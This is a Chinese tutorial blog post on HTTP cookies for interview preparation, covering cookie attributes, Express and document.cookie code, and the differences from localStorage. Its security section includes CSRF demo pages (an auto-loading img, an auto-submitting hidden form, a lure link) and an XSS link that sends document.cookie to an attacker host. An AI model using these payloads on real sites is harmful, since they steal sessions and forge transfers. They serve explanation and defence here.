likes
comments
collection
share

JavaScript中的cookie,应付面试够够的

作者站长头像
站长
· 阅读数 12

JavaScript中的cookie,应付面试够够的

一、什么是cookie

百度上的解释是:Cookie是一段不超过4KB的小型文本数据,由一个名称(Name)、一个值(Value)和其它几个用于控制Cookie有效期、安全性、使用范围的可选属性组成。

也就是说cookie就是存在用户终端的一个小型文本数据,那么具体作用是什么呢?我们为什么使用cookie呢?

二、为什么使用cookie

先回答下什么是http协议呢?

MDN上是这么解释的:超文本传输协议(HTTP)是一个用于传输超媒体文档(例如 HTML)的应用层协议。它是为 Web 浏览器与 Web 服务器之间的通信而设计的,但也可以用于其他目的。HTTP 遵循经典的客户端 - 服务端模型,客户端打开一个连接以发出请求,然后等待直到收到服务器端响应。HTTP 是无状态协议,这意味着服务器不会在两个请求之间保留任何数据(状态)。

什么是无状态协议呢?

就是即使是同一个客户端发送两次请求给服务器,服务器也不能识别这是一个客户端发送的请求,就比如,你刚刚游戏玩了2小时冲到了王者,刷新了一下网页,又变成青铜了...

也就是说,如果你第二次、第三次、第一百次或第一百万次访问同一个网页,服务器会再次认为这是你第一次访问该网页。

所以为了解决http无状态导致的问题,后来出现了cookie。详细点说,就是为了解决客户端与服务端会话状态的问题,这个状态是指后端服务状态,不是通讯协议状态。

cookie作用的官方面试回答:

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

三、怎么查看cookie

在浏览器的开发中工具中的application选项里可以查看当前域名下的cookie

JavaScript中的cookie,应付面试够够的

在这里,我们可看到当前域名下有哪些cookie,以及他们的属性设置。

那cookie具体存储在哪里呢?

1、如果设置了过期时间,cookie就会存储在硬盘里面 2:如果没有设置Expirescookie就会存储在内存里面,当会话结束时失效,即关闭浏览器窗口

四、cookie的工作机制

JavaScript中的cookie,应付面试够够的

1.浏览器首次向服务器发送请求,服务器会创建cookie,在产生响应时会产生Set-Cookie响应头,从而将cookie信息传递给了浏览器;

JavaScript中的cookie,应付面试够够的

2.当浏览器再次向服务器发送请求时,会产生cookie请求头,将之前服务器的cookie信息再次发送给了服务器,然后服务器根据cookie信息跟踪客户端状态 JavaScript中的cookie,应付面试够够的

3.后续如果cookie还在有效期,当浏览器再次向服务器发送请求时会自动携带。 JavaScript中的cookie,应付面试够够的

五、cookie的基本属性

从上面的图中,可以看到cookie的一些相关属性。挨个介绍一下

  • Name/Value
  • Domain
  • path
  • Expires/Max-Age
  • size
  • HTTPOnly
  • Secure
  • SameSite
Name/Value
  • name为一个cookie的名称,value为一个cookie的值
  • 可以通过name,来获取某个cookie的值
  • 服务端通常根据cookie的值去查找相关的数据
Domain
  • Domain 是域名,CookieDomain属性决定了哪些网站可以访问这个Cookie
  • 当我们设置一个Cookie时,我们可以为它指定一个Domain属性。如果我们没有指定Domain属性,那么这个Cookie的域就是创建它的网页的域。
    • 例如,如果我们在www.example.com这个网页上创建了一个Cookie,而没有指定Domain属性,那么这个Cookie的域就是www.example.com。这个Cookie只能被www.example.com这个域下的网页访问,不能被其他域(如blog.example.comwww.other.com)下的网页访问。
  • 域名访问规则就是顶级域名只能设置或访问顶级域名的Cookie,二级及以下的域名只能访问或设置自身或者顶级域名的Cookie。
    • 例如当我们为一个顶级域名(如.example.com)设置Cookie时,可以通过设置Cookie的Domain属性为.example.com,使得这个Cookie可以在其所有子域名中被访问。但是顶级域名不能直接设置或读取一个特定二级域名(如 www.example.com)的Cookie。
  • 如果要在多个二级域名中共享Cookie,你可以把Cookie的Domain属性设置为你的一级域名,并在一级域名前面加上一个点
    • 例如,如果你想让www.example.comblog.example.com、和store.example.com都能够访问这个Cookie,你可以设置Domain属性为.example.com
  • 安全规则,如果我们不小心把Domain属性设置为了一个广泛的域,那么这个Cookie可能会被我们不希望它被访问的网页访问到,为了安全,我们应该尽量把Domain属性设置得尽可能小,只包含需要访问这个Cookie的网页。
    • 例如,如果我们把Domain属性设置为.com,那么这个Cookie就可以被所有以.com结尾的网站访问。
path
  • Path 标识指定了域名下的哪些路径可以访问Cookie,也就是说请求的url路径下必须包含path
  • 例如,设置 Path=/docs,则以下地址都会匹配: /docs /docs/Web/ /docs/Web/HTTP
Expires
  • Expires 用于设置 Cookie 的过期时间。比如:Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2023 07:28:00 GMT;
  • Expires 属性缺省时,表示是会话性 Cookie,像下图 Expires 的值为 Session,表示的就是会话性 Cookie。当为会话性 Cookie 的时候,值保存在客户端内存中,并在用户关闭浏览器时失效。
  • 与会话性 Cookie 相对的是持久性 Cookie,持久性 Cookies 会保存在用户的硬盘中,直至过期或者清除 Cookie
  • 这里值得注意的是,设定的日期和时间只与客户端相关,而不是服务端

JavaScript中的cookie,应付面试够够的

Max-Age
  • Max-Age 用于设置在 Cookie 失效之前需要经过的秒数。比如:Set-Cookie: id=a3fWa; Max-Age=604800;
  • Max-Age 可以为正数、负数、甚至是 0
  • max-Age 属性为正数时,浏览器会将其持久化,即写到对应的 Cookie 文件中。
  • max-Age 属性为负数,则表示该 Cookie 只是一个会话性 Cookie
  • max-Age0 时,则会立即删除这个 Cookie
  • 假如 ExpiresMax-Age 都存在,Max-Age 优先级更高。
size
  • Size表示Cookiename+value的字符数,比如有一个Cookie:id=666,那么Size=2+3=5
  • 另外每个浏览器对Cookie的支持都不相同
HTTPOnly
  • 若此属性为true,表示不能通过document.cookie来访问此cookie
  • 这个属性主要帮助阻止通过Javascript发起的跨站脚本攻击(XSS)窃取cookie的行为
Secure
  • 标记为 SecureCookie 只应通过被HTTPS协议加密过的请求发送给服务端。
  • 使用 HTTPS 安全协议,可以保护Cookie在浏览器和Web服务器间的传输过程中不被窃取和篡改。
SameSite
  • 限制第三方、属性值为以下三个
  • None。浏览器会在同站请求、跨站请求下继续发送 cookie,不区分大小写。
  • Strict。浏览器将只在访问相同站点时发送 cookie。(在原有 Cookies 的限制条件上的加强,如上文 “Cookie 的作用域” 所述)
  • Lax。与 Strict 类似,但用户从外部站点导航至 URL 时(例如通过链接)除外。
  • 以前、默认情况下,不会在浏览器中设置 SameSite 值,正因如此,在请求中发送的 Cookie 没有限制。 应用程序需要根据要求设置 Lax 或 Strict 来启用 CSRF 保护。
  • 最近对 SameSite 标准所做的更新提议,没有设置SameSite的时候、Lax为默认选项。
  • 也就是说之前默认是 None 的,Chrome80 后默认是 Lax。

深入理解下跨站和跨域

在计算机网络中,“跨站”(Cross-Site)通常指的是跨网站的请求,这主要涉及到网站的所有权和控制。如果一个用户从网站A跳转到网站B,或者网站A请求了网站B的资源,那么这就是一个跨站操作。

例如,如果用户在site1.com上点击了一个指向site2.com的链接,那么这就是跨站。另一个例子是,如果site1.com的HTML页面包含了site2.com的图片,那么浏览器在加载图片时会对site2.com发起一个跨站请求。

而"跨域"(Cross-Domain)是更为具体的概念,涉及到URL的协议、子域、主域和端口。只有当这四个部分完全相同,两个URL才被认为是同源的,否则就是跨域。例如,http://site1.comhttps://site1.com就属于跨域,因为协议(http和https)不同;同样,site1.comwww.site1.com也属于跨域,因为子域(www和空)不同。

所以,根据这个定义,跨站的操作通常也会是跨域的,但反过来就不一定了。跨域操作可能只是在同一个网站的不同部分之间进行,例如从http://site1.com跳转到https://site1.com

JavaScript中的cookie,应付面试够够的

之前很著名一场浏览器更新引发的的 SameSite 血案、推荐阅读 [浏览器系列之 Cookie 和 SameSite 属性]https://baijiahao.baidu.com/s?id=1755250165922844493&wfr=spider&for=pc)https://baijiahao.baidu.com/s?id=1755250165922844493&wfr=spider&for=pc 还有这篇,写的很详细 [深入理解 Cookie 的 SameSite 属性]https://juejin.cn/post/6963632513914765320

六、cookie的设置与获取

node.js的cookie创建、读取和删除

服务端Cookie的创建和使用与客户端稍有不同。服务端使用HTTP响应头中的Set-Cookie字段来设置Cookie。以下是服务端创建和使用Cookie的基本步骤:

以Node.js中的Express框架为例:

1. 安装cookie-parser中间件

首先,我们需要安装cookie-parser中间件来解析HTTP请求中的Cookie:

npm install cookie-parser

然后,我们在Express应用中使用这个中间件:

const express = require('express');
const cookieParser = require('cookie-parser');

const app = express();
app.use(cookieParser());

2. 创建Cookie

在Express中,我们可以使用res.cookie()函数来创建Cookie:

app.get('/setcookie', function(req, res){
   res.cookie('username', 'JohnDoe', { maxAge: 900000, httpOnly: true });
   return res.send('Cookie has been set');
});

在这个例子中,我们创建了一个名为username,值为JohnDoe的Cookie,这个Cookie在15分钟后过期,并且只能通过HTTP访问,不能通过JavaScript访问(这可以防止XSS攻击)。

3. 读取Cookie

在Express中,我们可以使用req.cookies属性来读取Cookie:

app.get('/getcookie', function(req, res) {
   return res.send(req.cookies.username);
});

在这个例子中,我们读取了名为username的Cookie,并将其值发送给客户端。

4. 删除Cookie

在Express中,我们可以使用res.clearCookie()函数来删除Cookie:

app.get('/clearcookie', function(req,res){
     res.clearCookie('username');
     return res.send('Cookie has been cleared');
});

在这个例子中,我们删除了名为username的Cookie。

JavaScript的document.cookie创建、读取和删除

设置:

这是一个非常严格的语法

  • 首先是名值对('username=John Doe')
  • 然后是分号和空格
  • 以正确的格式显示有效期('expires=Thu, 2 Aug 2001 20:47:11 UTC')
  • 又是分号和空格
  • 然后是 path (path=/)
document.cookie = "username=John Doe; expires=Thu, 18 Dec 2023 12:00:00 UTC; path=/";
删除

删除 cookie 的方法是设置一个已过期的 expires 时间 这行代码会立即删除名为 username 的 cookie。注意,删除 cookie 时 path 必须和创建时一致,否则无法正确删除。

document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
修改
  • 修改cookie,重新赋值即可。
  • 修改时要确保 name/domain/path 这3个字段都相同的时候, 否则不会修改旧值,而是添加了一个新的 cookie
  • 关于domain的补充说明
    • 如果显式设置了 domain,则设置成什么,浏览器就存成什么;但如果没有显式设置,则浏览器会自动取 url 的 host 作为 domain 值;
    • 新的规范中,显式设置 domain 时,如果 value 最前面带点,则浏览器处理时会将这个点去掉,所以最后浏览器存的就是没有点的(注意:但目前大多数浏览器并未全部这么实现)
  • 前面带点‘.’和不带点‘.’有啥区别:
    • 带点:任何 subdomain 都可以访问,包括父 domain
    • 不带点:只有完全一样的域名才能访问,subdomain 不能(但在 IE 下比较特殊,它支持 subdomain 访问)
获取

可以直接通过 document.cookie 获取

let cookies = document.cookie;
console.log('cookies==>', cookies);

//获取回来的cookie是一段长字符串
//cookies==> age=18; height=170; name=luckfine; city=北京; area=海淀

给你封装好的,开箱即用的三个cookie 函数

设置cookie

function createCookie(name,value,days) {
	if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else var expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
}

读取cookie

function readCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}

清除cookie

function eraseCookie(name) {
	createCookie(name,"",-1);
}

七、cookie与web安全

Cookie的目的是为用户带来方便,为网站带来增值,一般情况下不会造成严重的安全威胁。Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。另外,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB,因此,Cookie不会塞满硬盘,更不会被用作"拒绝服务"攻击手段。

但是,Cookie作为用户身份的替代,其安全性有时决定了整个系统的安全性,Cookie的安全性问题不容忽视。

csrf

CSRF 英文全称是 Cross-site request forgery,所以又称为“跨站请求伪造”,是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。简单来讲,CSRF 攻击就是黑客利用了用户的登录状态,并通过第三方的站点来做一些坏事。

JavaScript中的cookie,应付面试够够的

通常当用户打开了黑客的页面后,黑客有三种方式去实施 CSRF 攻击。

1. 自动发起 Get 请求

<!DOCTYPE html>
<html>
  <body>
    <h1>黑客的站点:CSRF攻击演示</h1>
    <img src="https://time.geekbang.org/sendcoin?user=hacker&number=100">
  </body>
</html>

这是黑客页面的 HTML 代码,在这段代码中,黑客将转账的请求接口隐藏在 img 标签内,欺骗浏览器这是一张图片资源。当该页面被加载时,浏览器会自动发起 img 的资源请求,如果服务器没有对该请求做判断的话,那么服务器就会认为该请求是一个转账请求,于是用户账户上的 100 极客币就被转移到黑客的账户上去了。

2. 自动发起 POST 请求

除了自动发送 Get 请求之外,有些服务器的接口是使用 POST 方法的,所以黑客还需要在他的站点上伪造 POST 请求,当用户打开黑客的站点时,是自动提交 POST 请求,具体的方式你可以参考下面示例代码:

<!DOCTYPE html>
<html>
<body>
  <h1>黑客的站点:CSRF攻击演示</h1>
  <form id='hacker-form' action="https://time.geekbang.org/sendcoin" method=POST>
    <input type="hidden" name="user" value="hacker" />
    <input type="hidden" name="number" value="100" />
  </form>
  <script> document.getElementById('hacker-form').submit(); </script>
</body>
</html>

在这段代码中,我们可以看到黑客在他的页面中构建了一个隐藏的表单,该表单的内容就是极客时间的转账接口。当用户打开该站点之后,这个表单会被自动执行提交;当表单被提交之后,服务器就会执行转账操作。因此使用构建自动提交表单这种方式,就可以自动实现跨站点 POST 数据提交。

3. 引诱用户点击链接

除了自动发起 Get 和 Post 请求之外,还有一种方式是诱惑用户点击黑客站点上的链接,这种方式通常出现在论坛或者恶意邮件上。黑客会采用很多方式去诱惑用户点击链接,示例代码如下所示:

<div>
  <img width=150 src=http://images.xuejuzi.cn/1612/1_161230185104_1.jpg> </img> </div> <div>
  <a href="https://time.geekbang.org/sendcoin?user=hacker&number=100" taget="_blank">
    点击下载美女照片
  </a>
</div>

这段黑客站点代码,页面上放了一张美女图片,下面放了图片下载地址,而这个下载地址实际上是黑客用来转账的接口,一旦用户点击了这个链接,那么他的极客币就被转到黑客账户上了。

以上三种就是黑客经常采用的攻击方式。如果当用户登录了极客时间,以上三种 CSRF 攻击方式中的任何一种发生时,那么服务器都会将一定金额的极客币发送到黑客账户。

到这里,相信你已经知道什么是 CSRF 攻击了。和 XSS 不同的是,CSRF 攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击。

预防攻击

要让服务器避免遭受到 CSRF 攻击,通常有以下几种途径。

  1. 充分利用好 Cookie 的 SameSite 属性

通过上面的介绍,相信你已经知道了黑客会利用用户的登录状态来发起 CSRF 攻击,而 Cookie 正是浏览器和服务器之间维护登录状态的一个关键数据,因此要阻止 CSRF 攻击,我们首先就要考虑在 Cookie 上来做文章。

通常 CSRF 攻击都是从第三方站点发起的,要防止 CSRF 攻击,我们最好能实现从第三方站点发送请求时禁止 Cookie 的发送,因此在浏览器通过不同来源发送 HTTP 请求时,有如下区别:

如果是从第三方站点发起的请求,那么需要浏览器禁止发送某些关键 Cookie 数据到服务器; 如果是同一个站点发起的请求,那么就需要保证 Cookie 数据正常发送。

而我们要聊的 Cookie 中的 SameSite 属性正是为了解决这个问题的,通过使用 SameSite 可以有效地降低 CSRF 攻击的风险。

那 SameSite 是怎么防止 CSRF 攻击的呢?在 HTTP 响应头中,通过 set-cookie 字段设置 Cookie 时,可以带上 SameSite 选项,如下:

set-cookie: 1P_JAR=2019-10-20-06; expires=Tue, 19-Nov-2019 06:36:21 GMT; path=/; domain=.google.com; SameSite=none

XSS攻击

XSS攻击,全称跨站脚本攻击,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,它的目的是盗取cookie数据。

XSS 实现有以下三点:

  • 必须有允许用户输入文本内容的情况,并且将这个输入的文本内容可以发送到服务器;
  • 服务器必须存储了这个发过来文本内容,并且将这个文本内容展示在页面中;
  • 这个文本内容必然包括了 script 脚本,在用户打开页面时,这段 script 脚本被执行(可以通过document.cookie盗取后发送到指定的服务器存储);
预防
  • 前端发送数据时,在文本内容提交前将 script 用正则提取出来转义(替换为任何其他非脚本文字)然后再发送给服务器;
  • 服务器在返回客户端存储的时候,生产页面需要做判断处理查看是否有XSS攻击,然后做转义处理;
  • 除此之外,还需要判断所有提交标签中 href 属性中是否含有JavaScript 内容,也要做转义处理;
  • 通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。

举个简单的例子

<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>

当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者同样可以拿cookie搞事情。 这种就可以可以通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。

八、推荐的更好设置cookie的方式

1. 加密

对保存到cookie里面的敏感信息必须加密

2.设置Cookie的HttpOnly属性为true

一般来说,跨站脚本攻击(XSS)最常见的攻击方式就是通过在交互式网站(例如论坛、微博等)中嵌入javascript脚本,当其他用户访问嵌有脚本的网页时,攻击者就能通过document.cookie窃取到用户cookie信息。如果网站开发者将cookie的httponly属性设置为true,那么浏览器客户端就不允许嵌在网页中的javascript脚本去读取用户的cookie信息。

3.设置cookie的secure属性为true

当设置了secure=true时,那么cookie就只能在https协议下装载到请求数据包中,在http协议下就不会发送给服务器端,https比http更加安全。

4.设置cookie的samesite属性为strict或lax

前文提到攻击者获取到cookie后,还会发起跨站请求伪造(CSRF)攻击,这种攻击方式通常是在第三方网站发起的请求中携带受害者cookie信息,而设置了samesite为strict或lax后就能限制第三方cookie,从而可以防御CSRF攻击。当然,当前常用的还有校验token和referer请求头的方式来防止CSRF攻击,感兴趣的读者也可以自己翻阅材料了解下。

5.设置cookie的expires属性值

  • 如果不设置有效期,万一用户获取到用户的Cookie后,就可以一直使用用户身份登录。
  • 在设置Cookie认证的时候,需要加入两个时间,一个是“即使一直在活动,也要失效”的时间,一个是“长时间不活动的失效时间”,并在Web应用中,首先判断两个时间是否已超时,再执行其他操作。

九、Cookie、localStorage和sessionStorage的区别?

浏览器提供了多种存储数据的方式,其中最常用的包括Cookie、localStorage和sessionStorage,这些存储方式各有特点和适用场景,下面我来详细介绍一下它们之间的区别:

  1. Cookie

    • 数据大小:由于历史原因,Cookie的大小限制较小,大约只有4KB。
    • 生命周期:Cookie可以设置过期时间,过期后自动删除。未设置过期时间的Cookie(称为会话Cookie)会在浏览器关闭时删除。
    • 作用域:Cookie的作用域由其domainpath属性决定,可以跨越不同的路径和子域名。
    • 数据传输:Cookie会随着HTTP请求自动发送给服务器,因此可以用来实现会话管理、个性化设置等功能。但这也意味着每次HTTP请求都会携带Cookie数据,可能导致不必要的数据传输。
    • 安全性:可以通过设置SecureHttpOnly标志来提高Cookie的安全性。
  2. localStorage

    • 数据大小:localStorage的大小限制比Cookie大得多,通常为5MB。
    • 生命周期:localStorage的数据在浏览器关闭后仍然存在,除非用户手动删除或者使用代码清除。
    • 作用域:localStorage的作用域限定在当前域名(不包括子域名)。
    • 数据传输:localStorage的数据只存储在客户端,不会随着HTTP请求发送给服务器。
    • 安全性:localStorage比Cookie更安全,因为它的数据不会自动发送给服务器,也不会通过document.cookie暴露给JavaScript。但是,如果网站有XSS漏洞,攻击者仍然可以读取到localStorage的数据。
  3. sessionStorage

    • 数据大小:sessionStorage的大小限制与localStorage相同,通常为5MB。
    • 生命周期:sessionStorage的数据在当前会话(即当前窗口或标签页)结束时删除。
    • 作用域:sessionStorage的作用域也限定在当前域名(不包括子域名)。
    • 数据传输:sessionStorage的数据只存储在客户端,不会随着HTTP请求发送给服务器。
    • 安全性:sessionStorage的安全性与localStorage相同。

总的来说,如果需要在客户端长期存储大量数据,或者需要避免数据随HTTP请求发送给服务器,可以考虑使用localStorage。如果数据只在当前会话中有效,可以使用sessionStorage。如果数据需要随HTTP请求发送给服务器,或者需要跨越不同路径和子域名,应当使用Cookie。同时,还要根据应用的安全需求,正确设置Cookie的SecureHttpOnly等标志.

文章参考: 必须掌握的Cookie知识点都在这里 HTTP Cookie Cookies 提高cookie安全性的4种方式 Cookie的工作原理和应用详解